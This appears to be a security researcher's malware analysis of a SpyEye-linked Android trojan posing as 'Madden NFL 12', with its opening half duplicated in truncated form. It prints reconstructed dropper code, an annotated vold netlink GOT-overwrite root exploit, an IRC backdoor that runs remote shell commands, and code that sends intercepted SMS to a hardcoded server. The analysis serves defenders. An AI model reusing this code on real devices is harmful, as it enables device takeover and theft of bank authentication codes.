The Butterfly Effect of a Boundary Check
In chaos theory, a hurricane formation might be contingent on whether or not a distant butterfly had flapped its wings. In the digital world, one might wonder how a source code update with a boundary check added can invoke an online bank robbery. Well, here is the story.
The SpyEye banking trojan with the incorporated features of ZeuS (via the source code acquisition) has been making rounds for a while now. While its form-grabbing, code-injection, keylogging capabilities are well studied, it still keeps evolving and adopting itself to the new realities, to the new security measures that the banks are putting in place. It adapts due to the need to survive in an environment that is becoming more and more hostile for it.
In a nutshell, SpyEye, as well as ZeuS, is a banking trojan that is designed to intercept (steal) the authentication details, deliver them to a remote server where these details are collected, stored, and then wrapped up and resold on the underground markets. Someone eventually acquires the SpyEye/Zeus logs and then parses the compromised account details, one-by-one. For every online banking account, the attacker will try to log on by using anonymous proxies or other compromised systems in order to stay out of sight, and then wire the funds to so-called "drop" accounts (temporary accounts created for a short period of time to launder the stolen funds).
In some way, this multi-stage bank robbery model has become conventional for SpyEye/ZeuS. Nevertheless, it is easily disrupted with the two-factor authentication schemes that are becoming more and more popular in online banking. In one particular scenario, whenever a customer is willing to transfer the money to a newly added beneficiary, the bank will generate a temporary password, and then send that password to the customer's mobile phone in the form of an SMS message. The customer reads the message, fills out the online form field with the received password, and then clicks Next.
Done. Transaction is authorised.
In case of a compromised account, the remote attacker will possess the login credentials and thus, would be able to log on, view the infected victim's balance, the history of the recent transactions, and even pay the bills on behalf of existing beneficiaries that were authorised previously. However, the remote attacker would be unable to initiate a bogus transaction on behalf of a newly added "drop" account, as that attempt would require two-factor authentication. Without having access to the password contained in the SMS message, any bogus transaction from a compromised account would essentially be blocked.
Logically, this issue makes the attacker be willing to put his hands onto the password received via SMS as soon as possible - while it's still valid. Even better, highjack it so that it never reaches the victim. Otherwise, the received SMS may alert the owner of the compromised account. In order to highjack it, the attacker would need to compromise the customer's phone as well.
As reported by S21sec, the new SpyEye campaign that targets Spanish banks realises the aforementioned attack scenario. Upon trying to visit an online banking site, the compromised user will face a bogus web page that will offer to install an application for the mobile phone - in order to "secure communications", that is.
As you may have guessed, the suggested mobile app is malicious - let's analyse the application offered for Android platform. While the password interception mechanism contained within SMS is not new (ZeuS does it for several months now), let's inspect what other tricks are hidden up the SpyEye's sleeve.
Why Android?
As stated by Nielsen, in 2011 Q3 the smartphone ownership has reached 43% of all U.S. mobile subscribers. According to Gartner, Android platform composes now 43% of all smartphone sales in 2011 Q2. That roughly means that every fifth online banking customer who relies on SMS-based two-factor authentication scheme will own an Android device (97% of them still running Android Gingerbread, Froyo, and below). For the attacker, it means that the malicious Android app has fairly good odds. In fact, considering iPhone's tight security ecosystem, Android provides the best odds for the attacker and thus, the highest return-on-investment ratio for developing and deploying an Android app that could do such thing.
The dropper "Madden NFL 12"
Malicious Android app suggested by a bogus web page may disguise itself under a security application. In one reported case however, the malicious Android app is called "Madden NFL 12" - a trojan that disguises itself under the popular American football video game.
The package name is
Once invoked, its main activity
These steps are seen in the reconstructed source code of the trojan:
ELF executable header01.png
Despite the extension name,
This executable relies on an exploit within Android's
Being an open platform, Android's source code and its modifications are fully transparent.
On April 19, 2011, the
Updates like this inevitably draw attention - the
What is
The only boundary check in the code above is
By specifying a negative index value for the
This "theoretical" possibility materialised pretty quickly. The
As it always happened before, it was now a matter of time until the published exploit was incorporated into the malware.
The aforementioned function
The malformed netlink event messages sent by
It opens up the file
The contents of
The process list does not contain process names - only process IDs specified in the 3rd column (
For every process ID
It opens and reads a file with a name that is the string above - this will return the process name; for example, reading a file
Next it checks if the returned string (the name of the process) is
Once the process name
The code locates the offset of the
Next, the trojan opens up the file
Following that, it lookups the names of the mounted devices by parsing
In the above case, the trojan will retrieve the device path
Attacking GOT table
At this moment, the trojan knows the boundaries of the GOT table that it intends to overwrite and the offset of
So it starts a brute-force attack against GOT. In the loop, the trojan selects a number, then constructs a malformed netlink event message with the selected number specified as a negative value for the
Once such message is submitted, there will be an exception generated that specifies that a wrong address of memory was referenced - the trojan wants to know what is that address. More specifically, is that "wrong" address within the boundaries of GOT or not. If the address belongs to GOT, the trojan has hit the spot.
In order to be able to access the exception details with the specified memory address, it redirects log events (by running
Once the trojan encounters a logged exception that states that the wrong address was accessed (the line with the
Exploiting patched GOT table
The exploit itself works this way: the trojan again constructs a malformed netlink event message. Only this time it specifies
The guess is simple -
Next,
Running with the root privileges
When the trojan executable starts, it checks if it's file name (the first argument of its own command line) contains
In this case, the trojan initiates the 2nd stage of its attack - running
ELF executable footer01.png
When run, it firstly leaves a marker about the fact that the system is "rooted" (otherwise, it would have not been run by
The bot sets the read/write access for the owner and read-only access by everyone else to the file
Next, it installs that app with the package manager, invokes the
Following that, it connects to the remote IRC server located at IP
The bot then joins IRC channel
Once such message is received, the bot parses its content (a string that follows
Part of the disassembled code that parses the backdoor command "sh":
border01.png - Android app that intercepts SMS
As explained above,
This app is responsible for the SMS message interception logic. The received SMS messages are intercepted with the broadcast receiver
With the
as seen in the reconstructed source code of the trojan:
Next, regardless if the SMS message was aborted or not, the malware will submit the intercepted SMS message body and sender's address to the remote server located at IP
The remote server will presumably be able to notify the remote attacker (subject to how the server-based code is implemented) on any online banking passwords received during the two-factor authentication process. As the broadcast receiver drops (aborts) the SMS messages that might be originating from the addresses that the attacker recognises as online-banking ones, the passwords sent with SMS by the bank to the customers with the infected phones might never reach them.
On top of that, the app will start sending SMS messages to the premium-rated numbers. For that, the malware obtains the SIM provider's country code first with
The SpyEye banking trojan with the incorporated features of ZeuS (via the source code acquisition) has been making rounds for a while now. While its form-grabbing, code-injection, keylogging capabilities are well studied, it still keeps evolving and adopting itself to the new realities, to the new security measures that the banks are putting in place. It adapts due to the need to survive in an environment that is becoming more and more hostile for it.
In a nutshell, SpyEye, as well as ZeuS, is a banking trojan that is designed to intercept (steal) the authentication details, deliver them to a remote server where these details are collected, stored, and then wrapped up and resold on the underground markets. Someone eventually acquires the SpyEye/Zeus logs and then parses the compromised account details, one-by-one. For every online banking account, the attacker will try to log on by using anonymous proxies or other compromised systems in order to stay out of sight, and then wire the funds to so-called "drop" accounts (temporary accounts created for a short period of time to launder the stolen funds).
In some way, this multi-stage bank robbery model has become conventional for SpyEye/ZeuS. Nevertheless, it is easily disrupted with the two-factor authentication schemes that are becoming more and more popular in online banking. In one particular scenario, whenever a customer is willing to transfer the money to a newly added beneficiary, the bank will generate a temporary password, and then send that password to the customer's mobile phone in the form of an SMS message. The customer reads the message, fills out the online form field with the received password, and then clicks Next.
Done. Transaction is authorised.
In case of a compromised account, the remote attacker will possess the login credentials and thus, would be able to log on, view the infected victim's balance, the history of the recent transactions, and even pay the bills on behalf of existing beneficiaries that were authorised previously. However, the remote attacker would be unable to initiate a bogus transaction on behalf of a newly added "drop" account, as that attempt would require two-factor authentication. Without having access to the password contained in the SMS message, any bogus transaction from a compromised account would essentially be blocked.
Logically, this issue makes the attacker be willing to put his hands onto the password received via SMS as soon as possible - while it's still valid. Even better, highjack it so that it never reaches the victim. Otherwise, the received SMS may alert the owner of the compromised account. In order to highjack it, the attacker would need to compromise the customer's phone as well.
As reported by S21sec, the new SpyEye campaign that targets Spanish banks realises the aforementioned attack scenario. Upon trying to visit an online banking site, the compromised user will face a bogus web page that will offer to install an application for the mobile phone - in order to "secure communications", that is.
As you may have guessed, the suggested mobile app is malicious - let's analyse the application offered for Android platform. While the password interception mechanism contained within SMS is not new (ZeuS does it for several months now), let's inspect what other tricks are hidden up the SpyEye's sleeve.
Why Android?
As stated by Nielsen, in 2011 Q3 the smartphone ownership has reached 43% of all U.S. mobile subscribers. According to Gartner, Android platform composes now 43% of all smartphone sales in 2011 Q2. That roughly means that every fifth online banking customer who relies on SMS-based two-factor authentication scheme will own an Android device (97% of them still running Android Gingerbread, Froyo, and below). For the attacker, it means that the malicious Android app has fairly good odds. In fact, considering iPhone's tight security ecosystem, Android provides the best odds for the attacker and thus, the highest return-on-investment ratio for developing and deploying an Android app that could do such thing.
The dropper "Madden NFL 12"
Malicious Android app suggested by a bogus web page may disguise itself under a security application. In one reported case however, the malicious Android app is called "Madden NFL 12" - a trojan that disguises itself under the popular American football video game.
The package name is
com.android.bot
- no hiding here, an honest self-assessment of being a bot.Once invoked, its main activity
AndroidBotActivity
will perform the following actions:- Create directory
/data/data/com.android.bot/files
with the read/write/execute rights for all - Extract 3 files from its own assets and drop them as:
/data/data/com.android.bot/files/header01.png
(ELF executable)/data/data/com.android.bot/files/footer01.png
(ELF executable)/data/data/com.android.bot/files/border01.png
(Android app - an APK file)- Run the first executable
header01.png
- Show up a "toast" message:
(0x14) Error - Not registred application.
These steps are seen in the reconstructed source code of the trojan:
ShellCommand.CommandResult localCommandResult1 = localShellCommand.sh.runWaitFor("mkdir /data/data/com.android.bot/files && chmod 777 /data/data/com.android.bot/files/");
boolean bool1 = new File("/data/data/com.android.bot/files/footer01.png").delete();
boolean bool2 = new File("/data/data/com.android.bot/files/header01.png").delete();
boolean bool3 = new File("/data/data/com.android.bot/files/border01.png").delete();
boolean bool4 = new File("/data/data/com.android.bot/files/boomsh").delete();
boolean bool5 = new File("/data/data/com.android.bot/files/crashlog").delete();
boolean bool6 = new File("/data/data/com.android.bot/files/rooted").delete();
ExtractAsset("header01.png", "/data/data/com.android.bot/files/header01.png");
ExtractAsset("footer01.png", "/data/data/com.android.bot/files/footer01.png");
ExtractAsset("border01.png", "/data/data/com.android.bot/files/border01.png");
ShellCommand.CommandResult localCommandResult2 = localShellCommand.sh.runWaitFor("chmod 777 /data/data/com.android.bot/files/header01.png");
ShellCommand.CommandResult localCommandResult3 = localShellCommand.sh.runWaitFor("/data/data/com.android.bot/files/header01.png");
Toast.makeText(getApplicationContext(), "(0x14) Error - Not registred application.", 0).show();
ELF executable header01.png
Despite the extension name,
header01.png
file is an ELF executable compiled for ARM CPU. Hopefully, IDA Pro disassembler handles it quite perfectly.This executable relies on an exploit within Android's
vold
(volume daemon) - a program that automatically mounts CD-Roms, USB-Memory Sticks, and other removable media.Being an open platform, Android's source code and its modifications are fully transparent.
On April 19, 2011, the
DirectVolume.cpp
(one of the vold
's source files) was updated with an extra boundary check added for mPartMinors[]
.Updates like this inevitably draw attention - the
part_num > MAX_PARTITIONS
boundary check was already present in the code, the only added boundary check this time was part_num < 1
.What is
part_num
, how it was used in the code before the update, and why the extra check was added?part_num
is an integer variable that is obtained from the string parameter PARTN
passed within the Netlink event message - an argument for the handlePartitionAdded()
function, as shown below in the vold
's source file DirectVolume.cpp
:
void DirectVolume::handlePartitionAdded(const char *devpath,
NetlinkEvent *evt)
{
...
// obtain "MINOR" parameter from the event message, assign to int minor
int minor = atoi(evt->findParam("MINOR"));
...
int part_num;
// obtain "PARTN" string parameter from the event message
const char *tmp = evt->findParam("PARTN");
if (tmp)
{
// convert it to int, assign to part_num
part_num = atoi(tmp);
}
else
{
SLOGW("Kernel block uevent missing 'PARTN'");
part_num = 1;
}
...
// make sure part_num does not exceed the maximum limit
if (part_num >= MAX_PARTITIONS)
{
SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n",
part_num,
MAX_PARTITIONS-1);
}
else
{
// use part_num as an index to referenece mPartMinors[],
// store there the value of minor
mPartMinors[part_num -1] = minor;
}
...
}
The only boundary check in the code above is
part_num >= MAX_PARTITIONS
. Next, part_num
is used to reference an element of the array mPartMinors[]
. That is, the code assumes that part_num
is always more than or equal to 1
. However, in case of a negative value passed for the PARTN
parameter, the code will reference the memory located below the mPartMinors[]
base pointer - that referenced memory (whatever is stored at that location) will be overwritten with the value contained in the variable minor
- that value is also passed with the Netlink event message, only by using a different parameter - MINOR
.By specifying a negative index value for the
mPartMinors[]
array, it is possible for the attacker to reference and overwrite the memory that belongs to the GOT (Global Offset Table) within the image of the vold
executable. The GOT table stores offsets of the imported APIs - such as strcmp()
, atoi()
and other APIs that vold
executable imports from other libraries such as libm.so
, libc.so
, libcrypto.so
. After patching one of those offsets with an offset of an API function system()
imported from the C library libc.so
, vold
executable would now call system()
API instead of the intended one. If the parameter passed to the patched API was a malicious executable file path, vold
would call system("path_to_malicious_executable")
API, effectively launching an external executable with the same root privileges as the vold
process itself.This "theoretical" possibility materialised pretty quickly. The
DirectVolume.cpp
update was noticed by Sebastian Krahmer, Swiss researcher, who published the proof-of-concept code at his blog two days later, on April 21, 2011.As it always happened before, it was now a matter of time until the published exploit was incorporated into the malware.
The aforementioned function
handlePartitionAdded()
is only invoked within vold
process whenever a hotplug event occurs (such as connection/disconnection of CD-ROM, USB-Memory Sticks, and other removable media). When that happens, the netlink daemon that listens to the netlink socket (this socket is used as a communication between the kernel and user space) receives a packet of data for such event. The transferred data represents itself a set of null terminated text lines where every line contains a PARAMETER=VALUE
pair defining a hotplug event parameters. For a normal hotplug event, the message parameters are always valid and PARTN
is always 1
or more. However, the malicious process header01.png
opens up the netlink socket and sends there the malformed event messages directly in order to fake the hotplug events.The malformed netlink event messages sent by
header01.png
via the netlink socket will invoke the vold
's handlePartitionAdded()
function above. The trojan has to construct a netlink event (NetlinkEvent *evt
) message with the malformed parameters PARTN
(this must be a negative number that references vold
's GOT offsets) and MINOR
(this parameter must contain the offset of the API system()
). The PARTN
and MINOR
values have to be calculated dynamically with a 100% precision. The trojan does that in the following steps.It opens up the file
/proc/net/netlink
and reads the contents of that file:
.text:00009A1C LDR R3, =(aNetlink - _GLOBAL_OFFSET_TABLE_) ; "/proc/net/netlink"
.text:00009A20 LDR R2, [R11,#var_828]
.text:00009A24 ADD R3, R2, R3
.text:00009A28 MOV R0, R3 ; filename
.text:00009A2C LDR R3, =(aR - _GLOBAL_OFFSET_TABLE_) ; "r"
.text:00009A30 LDR R1, [R11,#var_828]
.text:00009A34 ADD R3, R1, R3
.text:00009A38 MOV R1, R3
.text:00009A3C BL fopen ; open "netlink" for read
The contents of
/proc/net/netlink
file enlists running processes, e.g. its content might look like:
sk Eth Pid Groups Rmem Wmem Dump Locks
c4cc6800 15 69 ffffffff 0 0 (null) 2
c5979a00 15 26 ffffffff 0 0 (null) 2
c5b99e00 15 29 ffffffff 0 0 (null) 2
The process list does not contain process names - only process IDs specified in the 3rd column (
Pid
). So the trojan parses every line and retrieves the 3rd parameter - the process ID.For every process ID
%PID%
, it constructs a string /proc/%PID%/cmdline
.It opens and reads a file with a name that is the string above - this will return the process name; for example, reading a file
/proc/29/cmdline
might return /system/bin/netd
string - this string is a process name for the process with the ID of 29
:
.text:00009B7C LDR R3, =(aCmdline - _GLOBAL_OFFSET_TABLE_) ; "/proc/%d/cmdline"
.text:00009B80 LDR R2, [R11,#var_828]
.text:00009B84 ADD R3, R2, R3
.text:00009B88 MOV R1, R3 ; format
.text:00009B8C LDR R2, [R11,#var_818]
.text:00009B90 BL sprintf ; construct string "/proc/%PID%/cmdline"
.text:00009B94 SUB R3, R11, #-var_800
.text:00009B98 SUB R3, R3, #0xC
.text:00009B9C SUB R3, R3, #4
.text:00009BA0 MOV R0, R3 ; file
.text:00009BA4 MOV R1, #0 ; oflag
.text:00009BA8 BL open ; open file "/proc/%PID%/cmdline"
Next it checks if the returned string (the name of the process) is
/system/bin/vold
:
.text:00009C14 LDR R3, =(aSystemBinVold - _GLOBAL_OFFSET_TABLE_) ; "/system/bin/vold"
.text:00009C18 LDR R1, [R11,#var_828]
.text:00009C1C ADD R3, R1, R3
.text:00009C20 MOV R1, R3
.text:00009C24 BL strstr ; compare the returned string with "/system/bin/vold"
Once the process name
/system/bin/vold
is found, the process ID of vold
daemon will now be known.The code locates the offset of the
system()
API by opening the libc.so
library with dlopen()
, then obtaining the offset with dlsym()
. This is similar to LoadLibrary()
, GetProcAddress()
call sequence used in x86 malware.
.text:00009260 LDR R3, =(aLibcSo - _GLOBAL_OFFSET_TABLE_) ; "/system/libc/libc.so"
.text:00009264 LDR R2, [R11,#var_1C]
.text:00009268 ADD R3, R2, R3
.text:0000926C MOV R0, R3 ; file
.text:00009270 MOV R1, #0 ; mode
.text:00009274 BL dlopen ; open the library "/system/libc/libc.so"
.text:00009278 MOV R3, R0
.text:0000927C STR R3, [R11,#handle]
.text:00009280 LDR R3, [R11,#handle]
.text:00009284 CMP R3, #0
.text:00009288 BNE libc_handle_ok
.text:0000928C LDR R3, =(aDlopen - _GLOBAL_OFFSET_TABLE_) ; "[-] dlopen"
.text:00009290 LDR R2, [R11,#var_1C]
.text:00009294 ADD R3, R2, R3
.text:00009298 MOV R0, R3
.text:0000929C BL die ; libc handle is 0 - quit
.text:000092A0 libc_handle_ok:
.text:000092A0 LDR R0, [R11,#handle] ; load handle
.text:000092A4 LDR R1, [R11,#name] ; load symbol name (passed as a parameter)
.text:000092A8 BL dlsym ; obtain the address of the symbol ("system")
Next, the trojan opens up the file
/system/bin/vold
and parses its ELF structure to retrieve the start and the end of the vold
's GOT table.Following that, it lookups the names of the mounted devices by parsing
vold
's fstab
file - a system configuration that enlists all available disks and disk partitions. This configuration resides either in /etc/vold.fstab
or system/etc/vold.fstab
. For example, the contents of this file might look like:
## Format: dev_mount <label> <mount_point> <part> <sysfs_path1...>
## label - Label for the volume
## mount_point - Where the volume will be mounted
## part - Partition # (1 based), or 'auto' for first usable partition.
## <sysfs_path> - List of sysfs paths to source devices
dev_mount sdcard /mnt/sdcard auto /devices/platform/msm_sdcc.2/mmc_host/mmc1
In the above case, the trojan will retrieve the device path
/devices/platform/msm_sdcc.2/mmc_host/mmc1
, or it will use that path as a default one if it fails to find any specified devices.Attacking GOT table
At this moment, the trojan knows the boundaries of the GOT table that it intends to overwrite and the offset of
system()
API - the value it intends to patch GOT table with. This value will be passed as MINOR
parameter of the malformed netlink event messages. However, the trojan is not aware what negative index values have to be chosen for the mPartMinors[]
array (passed as PARTN
parameter) in order to reference GOT table. It's a blindfolded shooting for the trojan.So it starts a brute-force attack against GOT. In the loop, the trojan selects a number, then constructs a malformed netlink event message with the selected number specified as a negative value for the
PARTN
parameter and system()
API offset as a MINOR
parameter, then submits that message to the netlink socket.Once such message is submitted, there will be an exception generated that specifies that a wrong address of memory was referenced - the trojan wants to know what is that address. More specifically, is that "wrong" address within the boundaries of GOT or not. If the address belongs to GOT, the trojan has hit the spot.
In order to be able to access the exception details with the specified memory address, it redirects log events (by running
logcat
command with the parameters -c
and -f
) into the file /data/local/tmp/crashlog
. Every time it sends a malformed netlink event message, it parses the contents of the crashlog
file, looking for the presence of the string "fault addr "
; if found, it retrieves the specified fault address and compares it against the GOT boundaries:
.text:0000AC34 LDR R3, =(aFAddr - _GLOBAL_OFFSET_TABLE_) ; "fault addr "
.text:0000AC38 LDR R2, [R11,#var_440]
.text:0000AC3C ADD R3, R2, R3
.text:0000AC40 MOV R1, R3
.text:0000AC44 BL strstr ; line contains fault address ("fault addr ")?
.text:0000AC48 MOV R3, R0
.text:0000AC4C STR R3, [R11,#nptr]
.text:0000AC50 LDR R3, [R11,#nptr]
.text:0000AC54 CMP R3, #0
.text:0000AC58 BEQ fault_addr_not_found
.text:0000AC5C LDR R3, [R11,#nptr]
.text:0000AC60 ADD R3, R3, #0xB
.text:0000AC64 STR R3, [R11,#nptr]
.text:0000AC68 LDR R0, [R11,#nptr] ; nptr
.text:0000AC6C MOV R1, #0 ; endptr
.text:0000AC70 MOV R2, #0x10 ; base
.text:0000AC74 BL strtoul ; if so, convert it into unsigned long integer
Once the trojan encounters a logged exception that states that the wrong address was accessed (the line with the
"fault addr "
string), and that address belongs to GOT, it now assumes that the aligned address within GOT was now overwritten with the system()
API. It does not know what API offset was overwritten, but it does not care; it just assumes that during a normal netlink event processing, some of the overwritten API will eventually be called. Once an unknown API offset within GOT is overwritten, it falls asleep for 500 sec before exploiting it.Exploiting patched GOT table
The exploit itself works this way: the trojan again constructs a malformed netlink event message. Only this time it specifies
PARTN
parameter as 1
- a perfectly valid number that will cause no exceptions due to wrong memory addressing. The other parameters however, will now be specified in form of an offset to the file path name of the trojan's own copy that it drops as /data/local/tmp/boomsh
.The guess is simple -
vold
's handlePartitionAdded()
function will now be triggered again. The PARTN
parameter check will pass Ok now. However, at some point of processing the incoming netlink event message parameters, vold
will try to call one of the imported APIs. For example, as seen in the source file, the very first line of the handlePartitionAdded()
function is:int major = atoi(evt->findParam("MAJOR"));
evt->findParam("MAJOR")
command will retrieve a string that was specified as MAJOR
parameter - that string will be the full path filename of the trojan's copy: /data/local/tmp/boomsh
.Next,
vold
'd code will try to convert that string into an integer, so it will call atoi()
API by calling the function at the offset specified within GOT and passing /data/local/tmp/boomsh
as a function parameter. However, since the offset of atoi()
within compromised GOT can now potentially be overwritten with the offset of system()
API, the execution flow with follow the wrong direction, factually calling system("/data/local/tmp/boomsh")
. This will run (re-run) the trojan executable with the root privilege.Running with the root privileges
When the trojan executable starts, it checks if it's file name (the first argument of its own command line) contains
boomsh
string. This part of description was intentionally skipped (to keep the cart behind the horse). If the trojan detects it was executed as boomsh
, it simply means that the exploit has worked: the trojan was executed under vold
account due to patched GOT and that now it has the root privileges inherited from the parent process.In this case, the trojan initiates the 2nd stage of its attack - running
footer01.png
, the ELF executable that was dropped by the malicious Android app "Madden NFL 12" into the same directory as header01.png
.
.text:0000AE18 LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
.text:0000AE1C ADD R3, R4, R3 ; bot
.text:0000AE20 LDR R3, [R3]
.text:0000AE24 MOV R0, R3 ; file
.text:0000AE28 MOV R1, #0 ; owner
.text:0000AE2C MOV R2, #0 ; group
.text:0000AE30 BL chown
.text:0000AE34 LDR R3, =(bot - 0xC100)
.text:0000AE38 ADD R3, R4, R3 ; bot
.text:0000AE3C LDR R3, [R3]
.text:0000AE40 MOV R0, R3 ; file
.text:0000AE44 MOV R1, 0x9C9 ; mode
.text:0000AE4C BL chmod
.text:0000AE50 LDR R3, =(bot - 0xC100)
.text:0000AE54 ADD R3, R4, R3 ; bot
.text:0000AE58 LDR R2, [R3]
.text:0000AE5C LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
.text:0000AE60 ADD R3, R4, R3 ; bot
.text:0000AE64 LDR R3, [R3]
.text:0000AE68 MOV R0, R2 ; file
.text:0000AE6C MOV R1, R3 ; arg
.text:0000AE70 MOV R2, #0
.text:0000AE74 BL execlp ; run footer01.png
.text:0000AE78 MOV R0, #0 ; status
.text:0000AE7C BL exit ; job's done - quit
ELF executable footer01.png
footer01.png
is a backdoor trojan implemented as an IRC bot.When run, it firstly leaves a marker about the fact that the system is "rooted" (otherwise, it would have not been run by
header01.png
) by placing 1
into the file /data/data/com.android.bot/files/rooted
:
.text:000094D4 LDR R3, =0xFFFFF6E0 ; "echo 1 > /data/data/com.android.bot/files/rooted"
.text:000094D8 LDR R2, [R11,#var_38]
.text:000094DC ADD R3, R2, R3
.text:000094E0 MOV R0, R3 ; command
.text:000094E4 BL system ; run "echo 1 >.." to leave the marker in "rooted"
The bot sets the read/write access for the owner and read-only access by everyone else to the file
/data/data/com.android.bot/files/border01.png
. This is the 3rd file dropped by the inital app "Madden NFL 12" - this file is an Android app (APK file).Next, it installs that app with the package manager, invokes the
com.android.me.AndroidMeActivity
with the activity manager (the main activity of the border01.png
app), and sets a flag about that component activation by placing 1
into the file /etc/sent
:
.text:00009584 LDR R3, =0xFFFFF7B0 ; "chmod 0644 /data/data/.../border01.png"
.text:00009588 LDR R2, [R11,#var_38]
.text:0000958C ADD R3, R2, R3
.text:00009590 MOV R0, R3 ; command
.text:00009594 BL system ; run "chmod 0644" on "border01.png"
.text:00009598 MOV R0, #5 ; seconds
.text:0000959C BL sleep
.text:000095A0 LDR R3, =0xFFFFF7F0 ; "pm install -r /data/data/.../border01.png"
.text:000095A4 LDR R2, [R11,#var_38]
.text:000095A8 ADD R3, R2, R3
.text:000095AC MOV R0, R3 ; command
.text:000095B0 BL system ; run "pm install" to install "border01.png"
.text:000095B4 MOV R0, #3 ; seconds
.text:000095B8 BL sleep ; sleep 3 sec.
.text:000095BC LDR R3, =0xFFFFF830 ; "am start -n ..com.android.me.AndroidMeActivity"
.text:000095C0 LDR R2, [R11,#var_38]
.text:000095C4 ADD R3, R2, R3
.text:000095C8 MOV R0, R3 ; command
.text:000095CC BL system ; run "am start" to start "AndroidMeActivity"
.text:000095D0 MOV R0, #30 ; seconds
.text:000095D4 BL sleep ; sleep 30 sec.
.text:000095D8 LDR R3, =(aEcho1EtcSent - _GLOBAL_OFFSET_TABLE_) ; "echo 1 > /etc/sent"
.text:000095DC LDR R2, [R11,#var_38]
.text:000095E0 ADD R3, R2, R3
.text:000095E4 MOV R0, R3 ; command
.text:000095E8 BL system ; run "echo 1" to leave the marker in "/etc/sent"
Following that, it connects to the remote IRC server located at IP
199.68.196.198
, generates a random user name, then logs on to IRC server by using that name.The bot then joins IRC channel
#andros
at the server and then keeps waiting for the private messages on the channel.Once such message is received, the bot parses its content (a string that follows
PRIVMSG
), then treats it as a remote command. In total, there 3 remote commands:- If the bot receives
"sh"
command, it will run the specified command or executable with thesystem()
call, then respond back the message:PRIVMSG #andros :[SH] - %COMMAND_TO_RUN%.
- The received command
"id"
will make the bot reply back the user ID of the calling process, that is obtained with thegetuid()
call:PRIVMSG #andros :[ID] - %REAL_USER_ID%.
- Command
"exit"
will force the bot to exit; before exiting it replies back:PRIVMSG #andros :[EXIT] - exiting ordered...
Part of the disassembled code that parses the backdoor command "sh":
.text:000091C4 LDR R3, =(aSh - _GLOBAL_OFFSET_TABLE_)
.text:000091C8 LDR R2, [R11,#var_62C]
.text:000091CC ADD R3, R2, R3
.text:000091D0 MOV R1, R3 ; s2
.text:000091D4 MOV R2, #3 ; n
.text:000091D8 BL strncmp ; is the received command "sh"?
.text:000091DC MOV R3, R0
.text:000091E0 CMP R3, #0
.text:000091E4 BNE next_1 ; if not, check if it's the next command
...
.text:00009280 MOV R0, R3 ; command
.text:00009284 BL system ; run the received command/executable
.text:00009288 SUB R12, R11, #-var_410
.text:0000928C SUB R12, R12, #4
.text:00009290 SUB R12, R12, #4
.text:00009294 LDR R0, [R11,#var_620]
.text:00009298 LDR R3, =0xFFFFF650 ; "PRIVMSG %s :[SH] - %s."
.text:0000929C LDR R1, [R11,#var_62C]
.text:000092A0 ADD R3, R1, R3
.text:000092A4 MOV R1, R3
.text:000092A8 LDR R3, =0xFFFFF638 ; "#andros"
.text:000092AC LDR R2, [R11,#var_62C]
.text:000092B0 ADD R3, R2, R3
.text:000092B4 MOV R2, R3
.text:000092B8 MOV R3, R12
.text:000092BC BL IRCSend ; reply "PRIVMSG #andros :[SH] - %COMMAND%."
border01.png - Android app that intercepts SMS
As explained above,
border01.png
is started by the executable footer01.png
.This app is responsible for the SMS message interception logic. The received SMS messages are intercepted with the broadcast receiver
SMSReceiver
. Its onReceive()
method is called upon receiving an intent broadcast which is generated when an SMS is received.With the
onReceive()
method invoked, the code retrieves 2 fields from the received SMS message: message body and the sender's address. If the sender's address is one the following values, then it is aborted:- 81083
- 3075
- 64747
- 60999
- 63000
- 35024
- 2052
- 7604
- 1339
- 9903
- 2227
- 72225
- 23333
as seen in the reconstructed source code of the trojan:
str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((str2.equals("81083")) || (str2.equals("3075")) || (str2.equals("64747")) ||
(str2.equals("60999")) || (str2.equals("63000")) || (str2.equals("35024")) ||
(str2.equals("2052")) || (str2.equals("7604")) || (str2.equals("1339")) ||
(str2.equals("9903")) || (str2.equals("2227")) || (str2.equals("72225")) ||
(str2.equals("23333")))
abortBroadcast();
Next, regardless if the SMS message was aborted or not, the malware will submit the intercepted SMS message body and sender's address to the remote server located at IP
46.166.146.102
, as shown below:
DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
HttpGet localHttpGet = new HttpGet();
String str3 = "http://46.166.146.102/?=" + str2 + "///" + str1;
URI localURI = new URI(str3);
localHttpGet.setURI(localURI);
HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);
The remote server will presumably be able to notify the remote attacker (subject to how the server-based code is implemented) on any online banking passwords received during the two-factor authentication process. As the broadcast receiver drops (aborts) the SMS messages that might be originating from the addresses that the attacker recognises as online-banking ones, the passwords sent with SMS by the bank to the customers with the infected phones might never reach them.
On top of that, the app will start sending SMS messages to the premium-rated numbers. For that, the malware obtains the SIM provider's country code first with
getSimCountryIso()
, then depending on the country it sets up a different premium-rate number to send the SMS to.